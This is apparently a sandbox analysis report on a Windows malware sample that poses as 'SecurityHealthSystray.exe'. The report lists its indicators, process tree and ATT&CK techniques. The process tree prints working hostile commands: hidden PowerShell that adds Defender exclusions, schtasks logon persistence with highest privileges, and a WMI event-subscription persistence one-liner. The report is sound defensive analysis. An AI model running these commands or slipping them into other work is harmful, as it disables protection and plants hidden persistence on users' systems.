2e668e3ef96254e8e0bc9328d86944257a644bdd5bc04539c4bbdcb34215e028

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	SecurityHealthSystray.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	SecurityHealthSystray.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4340	powershell.exe
4500	powershell.exe
4340	powershell.exe
1944	powershell.exe
4500	powershell.exe
4600	powershell.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

persistence privilege_escalation

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	SecurityHealthSystray.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	SecurityHealthSystray.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.exe	SecurityHealthSystray.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.exe	SecurityHealthSystray.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.exe	SecurityHealthSystray.exe

Deletes itself 1 IoCs

pid	Process
4828	SecurityHealthSystray.exe

Executes dropped EXE 3 IoCs

pid	Process
4828	SecurityHealthSystray.exe
480	SecurityHealthSystray.exe
5904	SecurityHealthSystray.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityService = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsSecurity\\SecurityHealthSystray.exe"	SecurityHealthSystray.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityService = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsSecurity\\SecurityHealthSystray.exe"	SecurityHealthSystray.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1000	cmd.exe
1200	cmd.exe
3460	cmd.exe
5000	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4792	schtasks.exe
2248	schtasks.exe
2928	schtasks.exe
2988	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4828	SecurityHealthSystray.exe
4828	SecurityHealthSystray.exe
4828	SecurityHealthSystray.exe
4828	SecurityHealthSystray.exe
4340	powershell.exe
4340	powershell.exe
1944	powershell.exe
1944	powershell.exe
480	SecurityHealthSystray.exe
480	SecurityHealthSystray.exe
480	SecurityHealthSystray.exe
480	SecurityHealthSystray.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeIncreaseQuotaPrivilege	4340	powershell.exe
Token: SeSecurityPrivilege	4340	powershell.exe
Token: SeTakeOwnershipPrivilege	4340	powershell.exe
Token: SeLoadDriverPrivilege	4340	powershell.exe
Token: SeSystemProfilePrivilege	4340	powershell.exe
Token: SeSystemtimePrivilege	4340	powershell.exe
Token: SeProfSingleProcessPrivilege	4340	powershell.exe
Token: SeIncBasePriorityPrivilege	4340	powershell.exe
Token: SeCreatePagefilePrivilege	4340	powershell.exe
Token: SeBackupPrivilege	4340	powershell.exe
Token: SeRestorePrivilege	4340	powershell.exe
Token: SeShutdownPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeSystemEnvironmentPrivilege	4340	powershell.exe
Token: SeRemoteShutdownPrivilege	4340	powershell.exe
Token: SeUndockPrivilege	4340	powershell.exe
Token: SeManageVolumePrivilege	4340	powershell.exe
Token: 33	4340	powershell.exe
Token: 34	4340	powershell.exe
Token: 35	4340	powershell.exe
Token: 36	4340	powershell.exe
Token: SeIncreaseQuotaPrivilege	4340	powershell.exe
Token: SeSecurityPrivilege	4340	powershell.exe
Token: SeTakeOwnershipPrivilege	4340	powershell.exe
Token: SeLoadDriverPrivilege	4340	powershell.exe
Token: SeSystemProfilePrivilege	4340	powershell.exe
Token: SeSystemtimePrivilege	4340	powershell.exe
Token: SeProfSingleProcessPrivilege	4340	powershell.exe
Token: SeIncBasePriorityPrivilege	4340	powershell.exe
Token: SeCreatePagefilePrivilege	4340	powershell.exe
Token: SeBackupPrivilege	4340	powershell.exe
Token: SeRestorePrivilege	4340	powershell.exe
Token: SeShutdownPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeSystemEnvironmentPrivilege	4340	powershell.exe
Token: SeRemoteShutdownPrivilege	4340	powershell.exe
Token: SeUndockPrivilege	4340	powershell.exe
Token: SeManageVolumePrivilege	4340	powershell.exe
Token: 33	4340	powershell.exe
Token: 34	4340	powershell.exe
Token: 35	4340	powershell.exe
Token: 36	4340	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeIncreaseQuotaPrivilege	4500	powershell.exe
Token: SeSecurityPrivilege	4500	powershell.exe
Token: SeTakeOwnershipPrivilege	4500	powershell.exe
Token: SeLoadDriverPrivilege	4500	powershell.exe
Token: SeSystemProfilePrivilege	4500	powershell.exe
Token: SeSystemtimePrivilege	4500	powershell.exe
Token: SeProfSingleProcessPrivilege	4500	powershell.exe
Token: SeIncBasePriorityPrivilege	4500	powershell.exe
Token: SeCreatePagefilePrivilege	4500	powershell.exe
Token: SeBackupPrivilege	4500	powershell.exe
Token: SeRestorePrivilege	4500	powershell.exe
Token: SeShutdownPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeSystemEnvironmentPrivilege	4500	powershell.exe
Token: SeRemoteShutdownPrivilege	4500	powershell.exe
Token: SeUndockPrivilege	4500	powershell.exe
Token: SeManageVolumePrivilege	4500	powershell.exe
Token: 33	4500	powershell.exe
Token: 34	4500	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 4828	4216	win.exe	89
PID 4828 wrote to memory of 4340	4828	SecurityHealthSystray.exe	90
PID 4828 wrote to memory of 1000	4828	SecurityHealthSystray.exe	93
PID 1000 wrote to memory of 4932	1000	cmd.exe	95
PID 1000 wrote to memory of 2928	1000	cmd.exe	96
PID 4828 wrote to memory of 5000	4828	SecurityHealthSystray.exe	97
PID 5000 wrote to memory of 6040	5000	cmd.exe	99
PID 5000 wrote to memory of 2988	5000	cmd.exe	100
PID 4828 wrote to memory of 1944	4828	SecurityHealthSystray.exe	101
PID 480 wrote to memory of 4500	480	SecurityHealthSystray.exe	108
PID 480 wrote to memory of 1200	480	SecurityHealthSystray.exe	110
PID 1200 wrote to memory of 1696	1200	cmd.exe	112
PID 1200 wrote to memory of 4792	1200	cmd.exe	113
PID 480 wrote to memory of 3460	480	SecurityHealthSystray.exe	114
PID 3460 wrote to memory of 1900	3460	cmd.exe	116
PID 3460 wrote to memory of 2248	3460	cmd.exe	117
PID 480 wrote to memory of 4600	480	SecurityHealthSystray.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\win.exe
"C:\Users\Admin\AppData\Local\Temp\win.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe
  "C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe" /origin:"C:\Users\Admin\AppData\Local\Temp\win.exe"
  2⤵
  - Enumerates VirtualBox registry keys
  - Looks for VMWare services registry key.
  - Creates a file in the Startup directory
  - Deletes itself
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C ""C:\Users\Admin\AppData\Local\Temp\t240772296.cmd" > "C:\Users\Admin\AppData\Local\Temp\t240772296.log" 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:4932
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityService" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe\"" /sc ONLOGON /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2928
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C ""C:\Users\Admin\AppData\Local\Temp\t240772421.cmd" > "C:\Users\Admin\AppData\Local\Temp\t240772421.log" 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5000
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:6040
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsSecurityService" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe\"" /sc ONLOGON /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command "$f = \"WindowsSecurityService\";$q = 'SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LogonSession\"';$ef = ([wmiclass]'ROOT\subscription:__EventFilter').CreateInstance();$ef.Name = $f; $ef.QueryLanguage = 'WQL'; $ef.Query = $q; $ef.EventNamespace = 'ROOT\CIMV2';$ef.Put() | Out-Null;$cl = ([wmiclass]'ROOT\subscription:CommandLineEventConsumer').CreateInstance();$cl.Name = $f; $cl.CommandLineTemplate = '\"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe\"';$cl.Put() | Out-Null;$bd = ([wmiclass]'ROOT\subscription:__FilterToConsumerBinding').CreateInstance();$bd.Filter = $ef.__PATH; $bd.Consumer = $cl.__PATH;$bd.Put() | Out-Null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1944

C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe
"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe"
1⤵
- Enumerates VirtualBox registry keys
- Looks for VMWare services registry key.
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C ""C:\Users\Admin\AppData\Local\Temp\t240787015.cmd" > "C:\Users\Admin\AppData\Local\Temp\t240787015.log" 2>&1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1696
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsSecurityService" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe\"" /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C ""C:\Users\Admin\AppData\Local\Temp\t240787234.cmd" > "C:\Users\Admin\AppData\Local\Temp\t240787234.log" 2>&1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1900
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsSecurityService" /tr "\"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe\"" /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "$f = \"WindowsSecurityService\";$q = 'SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LogonSession\"';$ef = ([wmiclass]'ROOT\subscription:__EventFilter').CreateInstance();$ef.Name = $f; $ef.QueryLanguage = 'WQL'; $ef.Query = $q; $ef.EventNamespace = 'ROOT\CIMV2';$ef.Put() | Out-Null;$cl = ([wmiclass]'ROOT\subscription:CommandLineEventConsumer').CreateInstance();$cl.Name = $f; $cl.CommandLineTemplate = '\"C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe\"';$cl.Put() | Out-Null;$bd = ([wmiclass]'ROOT\subscription:__FilterToConsumerBinding').CreateInstance();$bd.Filter = $ef.__PATH; $bd.Consumer = $cl.__PATH;$bd.Put() | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4600

C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Local\Microsoft\WindowsSecurity\SecurityHealthSystray.exe
1⤵
- Executes dropped EXE
PID:5904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion